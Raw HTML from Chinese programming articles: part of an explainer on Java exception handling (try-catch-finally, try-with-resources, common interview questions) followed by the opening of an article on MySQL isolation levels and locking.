#c678dd;line-height: 26px;">new</span>&nbsp;FileReader(file));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">while</span>((result&nbsp;=&nbsp;reader.readLine())!=<span style="color: #c678dd;line-height: 26px;">null</span>)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(result);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(IOException&nbsp;e)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(<span style="color: #98c379;line-height: 26px;">"readFile&nbsp;method&nbsp;catch&nbsp;block."</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MyException&nbsp;ex&nbsp;=&nbsp;<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;MyException(<span style="color: #98c379;line-height: 26px;">"read&nbsp;file&nbsp;failed."</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ex.initCause(e);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">throw</span>&nbsp;ex;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">finally</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(<span style="color: #98c379;line-height: 26px;">"readFile&nbsp;method&nbsp;finally&nbsp;block."</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">if</span>&nbsp;(<span style="color: #c678dd;line-height: 26px;">null</span>&nbsp;!=&nbsp;reader)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">try</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reader.close();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(IOException&nbsp;e)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;e.printStackTrace();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">调用该方法时,读取文件时若发生异常,代码会进入 catch 代码块,之后进入 finally 代码块;若读取文件时未发生异常,则会跳过 catch 代码块直接进入 finally 代码块。所以无论代码中是否发生异常,fianlly 中的代码都会执行。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">若 catch 代码块中包含 return 语句,finally 中的代码还会执行吗?将以上代码中的 catch 子句修改如下:</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(IOException&nbsp;e)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(<span style="color: #98c379;line-height: 26px;">"readFile&nbsp;method&nbsp;catch&nbsp;block."</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">return</span>;<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">调用 readFile 方法,观察当 catch 子句中调用 return 语句时,finally 子句是否执行</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">readFile&nbsp;method&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;block.<br>readFile&nbsp;method&nbsp;<span style="color: #c678dd;line-height: 26px;">finally</span>&nbsp;block.<br></code></pre> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">可见,即使 catch 中包含了 return 语句,finally 子句依然会执行。若 finally 中也包含 return 语句,finally 中的 return 会覆盖前面的 return.</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>try-with-resource<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">上面例子中,finally 中的 close 方法也可能抛出 IOException, 从而覆盖了原始异常。JAVA 7 提供了更优雅的方式来实现资源的自动释放,自动释放的资源需要是实现了 AutoCloseable 接口的类。</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span>&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">static</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">void</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">tryWithResourceTest</span><span style="line-height: 26px;">()</span></span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">try</span>&nbsp;(Scanner&nbsp;scanner&nbsp;=&nbsp;<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;Scanner(<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;FileInputStream(<span style="color: #98c379;line-height: 26px;">"c:/abc"</span>),<span style="color: #98c379;line-height: 26px;">"UTF-8"</span>)){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;code</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(IOException&nbsp;e){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;handle&nbsp;exception</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">try 代码块退出时,会自动调用 scanner.close 方法,和把 scanner.close 方法放在 finally 代码块中不同的是,若 scanner.close 抛出异常,则会被抑制,抛出的仍然为原始异常。被抑制的异常会由 addSusppressed 方法添加到原来的异常,如果想要获取被抑制的异常列表,可以调用 getSuppressed 方法来获取。</p> <h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 22px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span style="display: none;"></span>Java异常常见面试题</h2> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>1. Error 和 Exception 区别是什么?<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Error 类型的错误通常为虚拟机相关错误,如系统崩溃,内存不足,堆栈溢出等,编译器不会对这类错误进行检测,JAVA 应用程序也不应对这类错误进行捕获,一旦这类错误发生,通常应用程序会被终止,仅靠应用程序本身无法恢复;</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Exception 类的错误是可以在应用程序中进行捕获并处理的,通常遇到这种错误,应对其进行处理,使应用程序可以继续正常运行。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>2. 运行时异常和一般异常(受检异常)区别是什么?<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">运行时异常包括 RuntimeException 类及其子类,表示 JVM 在运行期间可能出现的异常。Java 编译器不会检查运行时异常。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">受检异常是Exception 中除 RuntimeException 及其子类之外的异常。Java 编译器会检查受检异常。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">RuntimeException异常和受检异常之间的区别:是否强制要求调用者必须处理此异常,如果强制要求调用者必须进行处理,那么就使用受检异常,否则就选择非受检异常(RuntimeException)。一般来讲,如果没有特殊的要求,我们建议使用RuntimeException异常。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>3. JVM 是如何处理异常的?<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">在一个方法中如果发生异常,这个方法会创建一个异常对象,并转交给 JVM,该异常对象包含异常名称,异常描述以及异常发生时应用程序的状态。创建异常对象并转交给 JVM 的过程称为抛出异常。可能有一系列的方法调用,最终才进入抛出异常的方法,这一系列方法调用的有序列表叫做调用栈。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">JVM 会顺着调用栈去查找看是否有可以处理异常的代码,如果有,则调用异常处理代码。当 JVM 发现可以处理异常的代码时,会把发生的异常传递给它。如果 JVM 没有找到可以处理该异常的代码块,JVM 就会将该异常转交给默认的异常处理器(默认处理器为 JVM 的一部分),默认异常处理器打印出异常信息并终止应用程序。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>4. throw 和 throws 的区别是什么?<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Java 中的异常处理除了包括捕获异常和处理异常之外,还包括声明异常和拋出异常,可以通过 throws 关键字在方法上声明该方法要拋出的异常,或者在方法内部通过 throw 拋出异常对象。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">throws 关键字和 throw 关键字在使用上的几点区别如下:</p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-2"> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> throw 关键字用在方法内部,只能用于抛出一种异常,用来抛出方法或代码块中的异常,受查异常和非受查异常都可以被抛出。 </section></li> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> throws 关键字用在方法声明上,可以抛出多个异常,用来标识该方法可能抛出的异常列表。一个方法用 throws 标识了可能抛出的异常列表,调用该方法的方法中必须包含可处理异常的代码,否则也要在方法签名中用 throws 关键字声明相应的异常。 </section></li> </ul> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>5. final、finally、finalize 有什么区别?<span style="display: none;"></span></h3> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-2"> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> final可以修饰类、变量、方法,修饰类表示该类不能被继承、修饰方法表示该方法不能被重写、修饰变量表示该变量是一个常量不能被重新赋值。 </section></li> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> finally一般作用在try-catch代码块中,在处理异常的时候,通常我们将一定要执行的代码方法finally代码块中,表示不管是否出现异常,该代码块都会执行,一般用来存放一些关闭资源的代码。 </section></li> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> finalize是一个方法,属于Object类的一个方法,而Object类是所有类的父类,Java 中允许使用 finalize()方法在垃圾收集器将对象从内存中清除出去之前做必要的清理工作。 </section></li> </ul> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>6. NoClassDefFoundError 和 ClassNotFoundException 区别?<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">NoClassDefFoundError 是一个 Error 类型的异常,是由 JVM 引起的,不应该尝试捕获这个异常。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">引起该异常的原因是 JVM 或 ClassLoader 尝试加载某类时在内存中找不到该类的定义,该动作发生在运行期间,即编译时该类存在,但是在运行时却找不到了,可能是变异后被删除了等原因导致;</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">ClassNotFoundException 是一个受查异常,需要显式地使用 try-catch 对其进行捕获和处理,或在方法签名中用 throws 关键字进行声明。当使用 Class.forName, ClassLoader.loadClass 或 ClassLoader.findSystemClass 动态加载类到内存的时候,通过传入的类路径参数没有找到该类,就会抛出该异常;另一种抛出该异常的可能原因是某个类已经由一个类加载器加载至内存中,另一个加载器又尝试去加载它。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>7. try-catch-finally 中哪个部分可以省略?<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">答:catch 可以省略</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">原因</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">更为严格的说法其实是:try只适合处理运行时异常,try+catch适合处理运行时异常+普通异常。也就是说,如果你只用try去处理普通异常却不加以catch处理,编译是通不过的,因为编译器硬性规定,普通异常如果选择捕获,则必须用catch显示声明以便进一步处理。而运行时异常在编译时没有如此规定,所以catch可以省略,你加上catch编译器也觉得无可厚非。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">理论上,编译器看任何代码都不顺眼,都觉得可能有潜在的问题,所以你即使对所有代码加上try,代码在运行期时也只不过是在正常运行的基础上加一层皮。但是你一旦对一段代码加上try,就等于显示地承诺编译器,对这段代码可能抛出的异常进行捕获而非向上抛出处理。如果是普通异常,编译器要求必须用catch捕获以便进一步处理;如果运行时异常,捕获然后丢弃并且+finally扫尾处理,或者加上catch捕获以便进一步处理。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">至于加上finally,则是在不管有没捕获异常,都要进行的“扫尾”处理。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>8. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">答:会执行,在 return 前执行。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">注意:在 finally 中改变返回值的做法是不好的,因为如果存在 finally 代码块,try中的 return 语句不会立马返回调用者,而是记录下返回值待 finally 代码块执行完毕之后再向调用者返回其值,然后如果在 finally 中修改了返回值,就会返回修改后的值。显然,在 finally 中返回或者修改返回值会对程序造成很大的困扰,C#中直接用编译错误的方式来阻止程序员干这种龌龊的事情,Java 中也可以通过提升编译器的语法检查级别来产生警告或错误。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">代码示例1:</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">static</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">int</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">getInt</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">int</span>&nbsp;a&nbsp;=&nbsp;<span style="color: #d19a66;line-height: 26px;">10</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">try</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(a&nbsp;/&nbsp;<span style="color: #d19a66;line-height: 26px;">0</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;<span style="color: #d19a66;line-height: 26px;">20</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(ArithmeticException&nbsp;e)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;<span style="color: #d19a66;line-height: 26px;">30</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">return</span>&nbsp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">/*<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* return a 在程序执行到这一步的时候,这里不是return a 而是 return 30;这个返回路径就形成了<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;但是呢,它发现后面还有finally,所以继续执行finally的内容,a=40<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;再次回到以前的路径,继续走return&nbsp;30,形成返回路径之后,这里的a就不是a变量了,而是常量30<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">finally</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;<span style="color: #d19a66;line-height: 26px;">40</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;<span style="color: #c678dd;line-height: 26px;">return</span>&nbsp;a;<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">执行结果:30</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">代码示例2:</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">static</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">int</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">getInt</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">int</span>&nbsp;a&nbsp;=&nbsp;<span style="color: #d19a66;line-height: 26px;">10</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">try</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(a&nbsp;/&nbsp;<span style="color: #d19a66;line-height: 26px;">0</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;<span style="color: #d19a66;line-height: 26px;">20</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(ArithmeticException&nbsp;e)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;<span style="color: #d19a66;line-height: 26px;">30</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">return</span>&nbsp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">finally</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a&nbsp;=&nbsp;<span style="color: #d19a66;line-height: 26px;">40</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//如果这样,就又重新形成了一条返回路径,由于只能通过1个return返回,所以这里直接返回40</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">return</span>&nbsp;a;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>}<br></code></pre> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">执行结果:40</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 15

跑了4个实验,实战讲解 MySQL的行锁、间隙锁...

作者:微信小助手

<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;" data-mpa-powered-by="yiban.io"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">大家好</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">今天跟大家聊一聊MySQL的事务隔离,并通过一些实验做了些总结。光说不练,假把式,没有经过实践就没有话语权。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br></p> </section> <p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3949579831932773" data-s="300,640" src="/upload/fec24572771a0954ee484ec0f7e07275.jpg" data-type="jpeg" data-w="357" style=""></p> <p style="text-align: center;"><br></p> <p><br></p> <p style="text-align: center;"><br></p> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们都知道数据库有四种隔离级别,分别是:</p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 读未提交(READ UNCOMMITTED) </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 